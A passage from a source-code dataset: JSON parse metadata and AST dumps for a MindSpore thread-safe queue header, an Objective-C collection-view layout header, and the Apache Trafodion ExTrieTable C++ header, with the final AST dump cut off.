1129, 1267, 1306, 1316, 1343, 1363, 1409, 1447], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11, 14, 17, 20, 23, 26, 29, 32, 35, 38, 41, 44, 47, 128, 133, 166, 183, 187, 191, 222, 227, 728, 731, 740, 765, 816, 879, 1119, 1165, 1182, 1186, 1224, 1276, 1283, 1406, 1421, 1440, 1441], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 48, "universal_type": "function", "name": "Queue", "text_snippet": "namespace mindspore {\nnamespace dataset {\n// A simple thread safe queue using a fixed size array\ntem"}, {"node_id": 51, "universal_type": "function", "name": "Queue", "text_snippet": "namespace dataset {\n// A simple thread safe queue using a fixed size array\ntemplate <typename T>\ncla"}, {"node_id": 103, "universal_type": "function", "name": "unknown", "text_snippet": "Queue(int sz)\n : sz_(sz)"}, {"node_id": 113, "universal_type": "function", "name": "unknown", "text_snippet": "arr_(Services::GetAllocator<T>()"}, {"node_id": 124, "universal_type": "function", "name": "unknown", "text_snippet": "head_(0)"}, {"node_id": 129, "universal_type": "function", "name": "unknown", "text_snippet": "tail_(0)"}, {"node_id": 135, "universal_type": "function", "name": "unknown", "text_snippet": "my_name_(Services::GetUniqueID())"}, {"node_id": 140, "universal_type": "function", "name": "unknown", "text_snippet": "GetUniqueID()"}, {"node_id": 192, "universal_type": "function", "name": "unknown", "text_snippet": "virtual ~Queue() { ResetQue(); }"}, {"node_id": 196, "universal_type": "function", "name": "unknown", "text_snippet": "Queue()"}, {"node_id": 202, "universal_type": "function", "name": "unknown", "text_snippet": "size_t size() const {\n size_t v = tail_ - head_;\n return (v >= 0) ? v : 0;\n }\n\n size_t capac"}, {"node_id": 204, "universal_type": "function", "name": "unknown", "text_snippet": "size()"}, {"node_id": 230, "universal_type": "function", "name": "unknown", "text_snippet": "capacity() const"}, {"node_id": 237, "universal_type": "function", "name": "unknown", "text_snippet": "empty()"}, {"node_id": 245, "universal_type": "function", "name": "Reset", "text_snippet": "void Reset() {\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();"}, {"node_id": 247, "universal_type": "function", "name": "unknown", "text_snippet": "Reset()"}, {"node_id": 272, "universal_type": "function", "name": "{", "text_snippet": "Status Add(const_reference ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Bloc"}, {"node_id": 274, "universal_type": "function", "name": "unknown", "text_snippet": "Add(const_reference ele) noexcept"}, {"node_id": 356, "universal_type": "function", "name": "{", "text_snippet": "Status Add(T &&ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n"}, {"node_id": 358, "universal_type": "function", "name": "unknown", "text_snippet": "Add(T &&ele) noexcept"}, {"node_id": 538, "universal_type": "function", "name": "unknown", "text_snippet": "T(std::forward<Ts>(args)"}, {"node_id": 568, "universal_type": "function", "name": "{", "text_snippet": "Status PopFront(pointer p) {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when empty\n "}, {"node_id": 570, "universal_type": "function", "name": "unknown", "text_snippet": "PopFront(pointer p)"}, {"node_id": 648, "universal_type": "function", "name": "unknown", "text_snippet": "Status Register(TaskGroup *vg) {\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Sta"}, {"node_id": 650, "universal_type": "function", "name": "unknown", "text_snippet": "Register(TaskGroup *vg)"}, {"node_id": 700, "universal_type": "function", "name": "unknown", "text_snippet": "Status Resize(int32_t new_capacity) {\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_R"}, {"node_id": 702, "universal_type": "function", "name": "unknown", "text_snippet": "Resize(int32_t new_capacity)"}, {"node_id": 965, "universal_type": "function", "name": "unknown", "text_snippet": "Status AddWhileHoldingLock(const_reference ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n"}, {"node_id": 967, "universal_type": "function", "name": "unknown", "text_snippet": "AddWhileHoldingLock(const_reference ele)"}, {"node_id": 1001, "universal_type": "function", "name": "unknown", "text_snippet": "Status AddWhileHoldingLock(T &&ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(e"}, {"node_id": 1003, "universal_type": "function", "name": "unknown", "text_snippet": "AddWhileHoldingLock(T &&ele)"}, {"node_id": 1048, "universal_type": "function", "name": "clean_extra)", "text_snippet": "Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) {\n auto k = head_++ % sz_;\n *p = "}, {"node_id": 1050, "universal_type": "function", "name": "clean_extra)", "text_snippet": "PopFrontWhileHoldingLock(pointer p, bool clean_extra)"}, {"node_id": 1135, "universal_type": "function", "name": "ResetQue", "text_snippet": "void ResetQue() noexcept {\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHolding"}, {"node_id": 1137, "universal_type": "function", "name": "unknown", "text_snippet": "ResetQue() noexcept"}, {"node_id": 1201, "universal_type": "function", "name": "Init", "text_snippet": "void Init(int num_queues, int capacity) {\n queue_list_.reserve(num_queues);\n for (int i = 0; i"}, {"node_id": 1203, "universal_type": "function", "name": "capacity)", "text_snippet": "Init(int num_queues, int capacity)"}, {"node_id": 1250, "universal_type": "function", "name": "unknown", "text_snippet": "Status Register(TaskGroup *vg) {\n if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpec"}, {"node_id": 1252, "universal_type": "function", "name": "unknown", "text_snippet": "Register(TaskGroup *vg)"}, {"node_id": 1347, "universal_type": "function", "name": "index)", "text_snippet": "const std::unique_ptr<Queue<T>> &operator[](const int index) const { return queue_list_[index]; }"}, {"node_id": 1356, "universal_type": "function", "name": "index)", "text_snippet": "operator[](const int index) const"}, {"node_id": 1375, "universal_type": "function", "name": "unknown", "text_snippet": "Status AddQueue(TaskGroup *vg) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_"}, {"node_id": 1377, "universal_type": "function", "name": "unknown", "text_snippet": "AddQueue(TaskGroup *vg)"}, {"node_id": 1425, "universal_type": "function", "name": "unknown", "text_snippet": "Status RemoveLastQueue() {\n CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, \"Cannot remove m"}, {"node_id": 1427, "universal_type": "function", "name": "unknown", "text_snippet": "RemoveLastQueue()"}], "class_declarations": [{"node_id": 520, "universal_type": "class", "name": "unknown", "text_snippet": "auto"}, {"node_id": 974, "universal_type": "class", "name": "unknown", "text_snippet": "auto"}, {"node_id": 1012, "universal_type": "class", "name": "unknown", "text_snippet": "auto"}, {"node_id": 1060, "universal_type": "class", "name": "unknown", "text_snippet": "auto"}, {"node_id": 1313, "universal_type": "class", "name": "unknown", "text_snippet": "auto"}], "import_statements": [{"node_id": 6, "text": "#include <atomic>\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include <memory>\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include <mutex>\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include <string>\n"}, {"node_id": 16, "text": "#include"}, {"node_id": 18, "text": "#include <type_traits>\n"}, {"node_id": 19, "text": "#include"}, {"node_id": 21, "text": "#include <utility>\n"}, {"node_id": 22, "text": "#include"}, {"node_id": 24, "text": "#include <vector>\n"}, {"node_id": 25, "text": "#include"}, {"node_id": 27, "text": "#include \"./securec.h\"\n"}, {"node_id": 28, "text": "#include"}, {"node_id": 30, "text": "#include \"utils/ms_utils.h\"\n"}, {"node_id": 31, "text": "#include"}, {"node_id": 33, "text": "#include \"minddata/dataset/util/allocator.h\"\n"}, {"node_id": 34, "text": "#include"}, {"node_id": 36, "text": "#include \"minddata/dataset/util/log_adapter.h\"\n"}, {"node_id": 37, "text": "#include"}, {"node_id": 39, "text": "#include \"minddata/dataset/util/services.h\"\n"}, {"node_id": 40, "text": "#include"}, {"node_id": 42, "text": "#include \"minddata/dataset/util/cond_var.h\"\n"}, {"node_id": 43, "text": "#include"}, {"node_id": 45, "text": "#include \"minddata/dataset/util/task_manager.h\"\n"}, {"node_id": 46, "text": "#include"}]}, "original_source_code": "/**\n * Copyright 2019 Huawei Technologies Co., Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n#ifndef MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_\n#define MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_\n\n#include <atomic>\n#include <memory>\n#include <mutex>\n#include <string>\n#include <type_traits>\n#include <utility>\n#include <vector>\n\n#include \"./securec.h\"\n#include \"utils/ms_utils.h\"\n#include \"minddata/dataset/util/allocator.h\"\n#include \"minddata/dataset/util/log_adapter.h\"\n#include \"minddata/dataset/util/services.h\"\n#include \"minddata/dataset/util/cond_var.h\"\n#include \"minddata/dataset/util/task_manager.h\"\n\nnamespace mindspore {\nnamespace dataset {\n// A simple thread safe queue using a fixed size array\ntemplate <typename T>\nclass Queue {\n public:\n using value_type = T;\n using pointer = T *;\n using const_pointer = const T *;\n using reference = T &;\n using const_reference = const T &;\n\n explicit Queue(int sz)\n : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) {\n Status rc = arr_.allocate(sz);\n if (rc.IsError()) {\n MS_LOG(ERROR) << \"Fail to create a queue.\";\n std::terminate();\n } else {\n MS_LOG(DEBUG) << \"Create Q with uuid \" << my_name_ << \" of size \" << sz_ << \".\";\n }\n }\n\n virtual ~Queue() { ResetQue(); }\n\n size_t size() const {\n size_t v = tail_ - head_;\n return (v >= 0) ? v : 0;\n }\n\n size_t capacity() const { return sz_; }\n\n bool empty() const { return head_ == tail_; }\n\n void Reset() {\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();\n }\n\n // Producer\n Status Add(const_reference ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Add(T &&ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n template <typename... Ts>\n Status EmplaceBack(Ts &&... args) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n // Consumer\n Status PopFront(pointer p) {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when empty\n Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Register(TaskGroup *vg) {\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Status rc2 = full_cv_.Register(vg->GetIntrpService());\n if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }\n }\n\n Status Resize(int32_t new_capacity) {\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n \"New capacity: \" + std::to_string(new_capacity) + \", should be larger than 0\");\n RETURN_OK_IF_TRUE(new_capacity == capacity());\n std::vector<T> queue;\n // pop from the original queue until the new_capacity is full\n for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }\n // if there are extra elements in queue, put them to extra_arr_\n while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }\n this->ResetQue();\n RETURN_IF_NOT_OK(arr_.allocate(new_capacity));\n sz_ = new_capacity;\n for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }\n queue.clear();\n _lock.unlock();\n return Status::OK();\n }\n\n private:\n size_t sz_;\n MemGuard<T, Allocator<T>> arr_;\n std::vector<T> extra_arr_; // used to store extra elements after reducing capacity, will not be changed by Add,\n // will pop when there is a space in queue (by PopFront or Resize)\n size_t head_;\n size_t tail_;\n std::string my_name_;\n std::mutex mux_;\n CondVar empty_cv_;\n CondVar full_cv_;\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(const_reference ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n return Status::OK();\n }\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(T &&ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(ele);\n return Status::OK();\n }\n\n // Helper function for PopFront, must be called when holding a lock\n Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) {\n auto k = head_++ % sz_;\n *p = std::move(*(arr_[k]));\n if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }\n return Status::OK();\n }\n\n void ResetQue() noexcept {\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << \"Address of val: \" << &val;\n }\n empty_cv_.ResetIntrpState();\n full_cv_.ResetIntrpState();\n head_ = 0;\n tail_ = 0;\n }\n};\n\n// A container of queues with [] operator accessors. Basically this is a wrapper over of a vector of queues\n// to help abstract/simplify code that is maintaining multiple queues.\ntemplate <typename T>\nclass QueueList {\n public:\n QueueList() {}\n\n void Init(int num_queues, int capacity) {\n queue_list_.reserve(num_queues);\n for (int i = 0; i < num_queues; i++) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }\n }\n\n Status Register(TaskGroup *vg) {\n if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n \"Null task group during QueueList registration.\");\n }\n for (int i = 0; i < queue_list_.size(); ++i) {\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }\n return Status::OK();\n }\n\n auto size() const { return queue_list_.size(); }\n\n std::unique_ptr<Queue<T>> &operator[](const int index) { return queue_list_[index]; }\n\n const std::unique_ptr<Queue<T>> &operator[](const int index) const { return queue_list_[index]; }\n\n ~QueueList() = default;\n\n Status AddQueue(TaskGroup *vg) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()));\n return queue_list_[queue_list_.size() - 1]->Register(vg);\n }\n Status RemoveLastQueue() {\n CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, \"Cannot remove more than the current queues.\");\n queue_list_.pop_back();\n return Status::OK();\n }\n\n private:\n // Queue contains non-copyable objects, so it cannot be added to a vector due to the vector\n // requirement that objects must have copy semantics. To resolve this, we use a vector of unique\n // pointers. This allows us to provide dynamic creation of queues in a container.\n std::vector<std::unique_ptr<Queue<T>>> queue_list_;\n};\n} // namespace dataset\n} // namespace mindspore\n#endif // MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_\n"}
81,170
c
// // ExpandedCollectionViewFlowLayout.h // Depoza // // Created by <NAME> on 02.05.15. // Copyright (c) 2015 <NAME>. All rights reserved. // #import <UIKit/UIKit.h> @interface ExpandedCollectionViewFlowLayout : UICollectionViewFlowLayout @end
23.8
10
(translation_unit) "//\n// ExpandedCollectionViewFlowLayout.h\n// Depoza\n//\n// Created by <NAME> on 02.05.15.\n// Copyright (c) 2015 <NAME>. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@interface ExpandedCollectionViewFlowLayout : UICollectionViewFlowLayout\n\n@end\n" (comment) "//" (comment) "// ExpandedCollectionViewFlowLayout.h" (comment) "// Depoza" (comment) "//" (comment) "// Created by <NAME> on 02.05.15." (comment) "// Copyright (c) 2015 <NAME>. All rights reserved." (comment) "//" (preproc_call) "#import <UIKit/UIKit.h>\n" (preproc_directive) "#import" (preproc_arg) "<UIKit/UIKit.h>" (ERROR) "@interface ExpandedCollectionViewFlowLayout : UICollectionViewFlowLayout\n\n@end" (ERROR) "@" (type_identifier) "interface" (identifier) "ExpandedCollectionViewFlowLayout" (:) ":" (identifier) "UICollectionViewFlowLayout" (ERROR) "@" (identifier) "end"
19
3
{"language": "c", "success": true, "metadata": {"lines": 10, "avg_line_length": 23.8, "nodes": 9, "errors": 0, "source_hash": "9e42dc044de6b3542a6a5778a4041bc0b222f64dee312ca320342036f51815b6", "categorized_nodes": 4}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#import <UIKit/UIKit.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#import", "parent": 0, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "<UIKit/UIKit.h>", "parent": 0, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 23}}, {"id": 3, "type": "ERROR", "text": "@interface ExpandedCollectionViewFlowLayout : UICollectionViewFlowLayout\n\n@end", "parent": null, "children": [4, 5, 6, 7, 8], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 12, "column": 4}}, {"id": 4, "type": "ERROR", "text": "@", "parent": 3, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 1}}, {"id": 5, "type": "type_identifier", "text": "interface", "parent": 3, "children": [], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 10, "column": 10}}, {"id": 6, "type": "identifier", "text": "ExpandedCollectionViewFlowLayout", "parent": 3, "children": [], "start_point": {"row": 10, "column": 11}, "end_point": {"row": 10, "column": 43}}, {"id": 7, "type": "identifier", "text": "UICollectionViewFlowLayout", "parent": 3, "children": [], "start_point": {"row": 10, "column": 46}, "end_point": {"row": 10, "column": 72}}, {"id": 8, "type": "ERROR", "text": "@", "parent": 3, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 1}}]}, "node_categories": {"declarations": {"functions": [], "variables": [], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [5, 6, 7], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// ExpandedCollectionViewFlowLayout.h\n// Depoza\n//\n// Created by <NAME> on 02.05.15.\n// Copyright (c) 2015 <NAME>. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@interface ExpandedCollectionViewFlowLayout : UICollectionViewFlowLayout\n\n@end\n"}
81,171
c
/* -*-C++-*- ****************************************************************************** * * File: ExTrieTable.h * RCS: $Id * Description: ExTrieTable class declaration * Created: 7/1/97 * Modified: $Author * Language: C++ * Status: $State * * // @@@ START COPYRIGHT @@@ // // Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. // // @@@ END COPYRIGHT @@@ * * ****************************************************************************** */ #ifndef __ExTrieTable_h__ #define __ExTrieTable_h__ // Includes // #include "ex_god.h" // External forward declarations // class NAMemory; typedef char **ExTrie; class ExTrieTable : public ExGod { public: ExTrieTable(Int32 keySize, Int32 dataSize, Int32 memSize, NAMemory *heap); ~ExTrieTable(); Int32 getMaximumNumberTuples() const { return maximumNumberTuples_; }; Int32 getMinimumNumberTuples() const { return minimumNumberTuples_; }; char *getData() const { return data_; }; char *getReturnRow() const { if(returnRow_ < numberTuples_) return rootTuple_ - returnRow_ * dataSize_; return 0; }; void advanceReturnRow() { returnRow_++; }; void resetReturnRow() { returnRow_ = 0; }; Int32 findOrAdd(char *key); private: Int32 keySize_; Int32 dataSize_; Int32 memSize_; NAMemory *heap_; char *memory_; Int32 maximumNumberTuples_; Int32 minimumNumberTuples_; ExTrie rootTrie_; ExTrie nextTrie_; char *data_; char *rootTuple_; Int32 numberTuples_; Int32 returnRow_; }; #endif
28.43
77
(translation_unit) "/* -*-C++-*-\n******************************************************************************\n*\n* File: ExTrieTable.h\n* RCS: $Id\n* Description: ExTrieTable class declaration\n* Created: 7/1/97\n* Modified: $Author\n* Language: C++\n* Status: $State\n*\n*\n// @@@ START COPYRIGHT @@@\n//\n// Licensed to the Apache Software Foundation (ASF) under one\n// or more contributor license agreements. See the NOTICE file\n// distributed with this work for additional information\n// regarding copyright ownership. The ASF licenses this file\n// to you under the Apache License, Version 2.0 (the\n// "License"); you may not use this file except in compliance\n// with the License. You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing,\n// software distributed under the License is distributed on an\n// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n// KIND, either express or implied. See the License for the\n// specific language governing permissions and limitations\n// under the License.\n//\n// @@@ END COPYRIGHT @@@\n*\n*\n******************************************************************************\n*/\n#ifndef __ExTrieTable_h__\n#define __ExTrieTable_h__\n\n// Includes\n//\n#include "ex_god.h"\n\n// External forward declarations\n//\nclass NAMemory;\n\ntypedef char **ExTrie;\n\nclass ExTrieTable : public ExGod {\npublic:\n ExTrieTable(Int32 keySize, Int32 dataSize, Int32 memSize, NAMemory *heap);\n ~ExTrieTable();\n\n Int32 getMaximumNumberTuples() const { return maximumNumberTuples_; };\n Int32 getMinimumNumberTuples() const { return minimumNumberTuples_; };\n char *getData() const { return data_; };\n\n char *getReturnRow() const { \n if(returnRow_ < numberTuples_)\n return rootTuple_ - returnRow_ * dataSize_; \n return 0;\n };\n void advanceReturnRow() { returnRow_++; };\n void resetReturnRow() { returnRow_ = 0; };\n \n\n Int32 findOrAdd(char *key);\n\nprivate:\n Int32 keySize_;\n Int32 dataSize_;\n Int32 memSize_;\n NAMemory *heap_;\n\n char *memory_;\n Int32 maximumNumberTuples_;\n Int32 minimumNumberTuples_;\n\n ExTrie rootTrie_;\n ExTrie nextTrie_;\n char *data_;\n\n char *rootTuple_;\n Int32 numberTuples_;\n Int32 returnRow_;\n};\n\n#endif\n\n" (comment) "/* -*-C++-*-\n******************************************************************************\n*\n* File: ExTrieTable.h\n* RCS: $Id\n* Description: ExTrieTable class declaration\n* Created: 7/1/97\n* Modified: $Author\n* Language: C++\n* Status: $State\n*\n*\n// @@@ START COPYRIGHT @@@\n//\n// Licensed to the Apache Software Foundation (ASF) under one\n// or more contributor license agreements. See the NOTICE file\n// distributed with this work for additional information\n// regarding copyright ownership. The ASF licenses this file\n// to you under the Apache License, Version 2.0 (the\n// "License"); you may not use this file except in compliance\n// with the License. You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing,\n// software distributed under the License is distributed on an\n// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n// KIND, either express or implied. See the License for the\n// specific language governing permissions and limitations\n// under the License.\n//\n// @@@ END COPYRIGHT @@@\n*\n*\n******************************************************************************\n*/" (preproc_ifdef) "#ifndef __ExTrieTable_h__\n#define __ExTrieTable_h__\n\n// Includes\n//\n#include "ex_god.h"\n\n// External forward declarations\n//\nclass NAMemory;\n\ntypedef char **ExTrie;\n\nclass ExTrieTable : public ExGod {\npublic:\n ExTrieTable(Int32 keySize, Int32 dataSize, Int32 memSize, NAMemory *heap);\n ~ExTrieTable();\n\n Int32 getMaximumNumberTuples() const { return maximumNumberTuples_; };\n Int32 getMinimumNumberTuples() const { return minimumNumberTuples_; };\n char *getData() const { return data_; };\n\n char *getReturnRow() const { \n if(returnRow_ < numberTuples_)\n return rootTuple_ - returnRow_ * dataSize_; \n return 0;\n };\n void advanceReturnRow() { returnRow_++; };\n void resetReturnRow() { returnRow_ = 0; };\n \n\n Int32 findOrAdd(char *key);\n\nprivate:\n Int32 keySize_;\n Int32 dataSize_;\n Int32 memSize_;\n NAMemory *heap_;\n\n char *memory_;\n Int32 maximumNumberTuples_;\n Int32 minimumNumberTuples_;\n\n ExTrie rootTrie_;\n ExTrie nextTrie_;\n char *data_;\n\n char *rootTuple_;\n Int32 numberTuples_;\n Int32 returnRow_;\n};\n\n#endif" (#ifndef) "#ifndef" (identifier) "__ExTrieTable_h__" (preproc_def) "#define __ExTrieTable_h__\n" (#define) "#define" (identifier) "__ExTrieTable_h__" (comment) "// Includes" (comment) "//" (preproc_include) "#include "ex_god.h"\n" (#include) "#include" (string_literal) ""ex_god.h"" (") """ (string_content) "ex_god.h" (") """ (comment) "// External forward declarations" (comment) "//" (declaration) "class NAMemory;" (type_identifier) "class" (identifier) "NAMemory" (;) ";" (type_definition) "typedef char **ExTrie;" (typedef) "typedef" (primitive_type) "char" (pointer_declarator) "**ExTrie" (*) "*" (pointer_declarator) "*ExTrie" (*) "*" (type_identifier) "ExTrie" (;) ";" (function_definition) "class ExTrieTable : public ExGod {\npublic:\n ExTrieTable(Int32 keySize, Int32 dataSize, Int32 memSize, NAMemory *heap);\n ~ExTrieTable();\n\n Int32 getMaximumNumberTuples() const { return maximumNumberTuples_; };\n Int32 getMinimumNumberTuples() const { return minimumNumberTuples_; };\n char *getData() const { return data_; };\n\n char *getReturnRow() const { \n if(returnRow_ < numberTuples_)\n return rootTuple_ - returnRow_ * dataSize_; \n return 0;\n };\n void advanceReturnRow() { returnRow_++; };\n void resetReturnRow() { returnRow_ = 0; };\n \n\n Int32 findOrAdd(char *key);\n\nprivate:\n Int32 keySize_;\n Int32 dataSize_;\n Int32 memSize_;\n NAMemory *heap_;\n\n char *memory_;\n Int32 maximumNumberTuples_;\n Int32 minimumNumberTuples_;\n\n ExTrie rootTrie_;\n ExTrie nextTrie_;\n char *data_;\n\n char *rootTuple_;\n Int32 numberTuples_;\n Int32 returnRow_;\n}" (type_identifier) "class" (identifier) "ExTrieTable" (ERROR) ": public ExGod" (:) ":" (identifier) "public" (identifier) "ExGod" (compound_statement) "{\npublic:\n ExTrieTable(Int32 keySize, Int32 dataSize, Int32 memSize, NAMemory *heap);\n ~ExTrieTable();\n\n Int32 getMaximumNumberTuples() const { return maximumNumberTuples_; };\n Int32 getMinimumNumberTuples() const { return minimumNumberTuples_; };\n char *getData() const { return data_; };\n\n char *getReturnRow() const { \n if(returnRow_ < numberTuples_)\n return rootTuple_ - returnRow_ * dataSize_; \n return 0;\n };\n void advanceReturnRow() { returnRow_++; };\n void resetReturnRow() { returnRow_ = 0; };\n \n\n Int32 findOrAdd(char *key);\n\nprivate:\n Int32 keySize_;\n Int32 dataSize_;\n Int32 memSize_;\n NAMemory *heap_;\n\n char *memory_;\n Int32 maximumNumberTuples_;\n Int32 minimumNumberTuples_;\n\n ExTrie rootTrie_;\n ExTrie nextTrie_;\n char *data_;\n\n char *rootTuple_;\n Int32 numberTuples_;\n Int32 returnRow_;\n}" ({) "{" (labeled_statement) "public:\n ExTrieTable(Int32 keySize, Int32 dataSize, Int32 memSize, NAMemory *heap);" (statement_identifier) "public" (:) ":" (declaration) "ExTrieTable(Int32 keySize, Int32 dataSize, Int32 memSize, NAMemory *heap);" (macro_type_specifier) "ExTrieTable(Int32" (identifier) "ExTrieTable" (() "(" (type_descriptor) "Int32" (type_identifier) "Int32" ()) "" (identifier) "keySize" (,) "," (ERROR) "Int32" (identifier) "Int32" (identifier) "dataSize" (,) "," (ERROR) "Int32" (identifier) "Int32" (identifier) "memSize" (,) "," (ERROR) "NAMemory" (identifier) "NAMemory" (pointer_declarator) "*heap" (*) "*" (identifier) "heap" (ERROR) ")" ()) ")" (;) ";" (expression_statement) "~ExTrieTable();" (unary_expression) "~ExTrieTable()" (~) "~" (call_expression) "ExTrieTable()" (identifier) "ExTrieTable" (argument_list) "()" (() "(" ()) ")" (;) ";" (ERROR) "Int32 getMaximumNumberTuples() const" (type_identifier) "Int32" (function_declarator) "getMaximumNumberTuples()" (identifier) "getMaximumNumberTuples" (parameter_list) "()" (() "(" ()) ")" 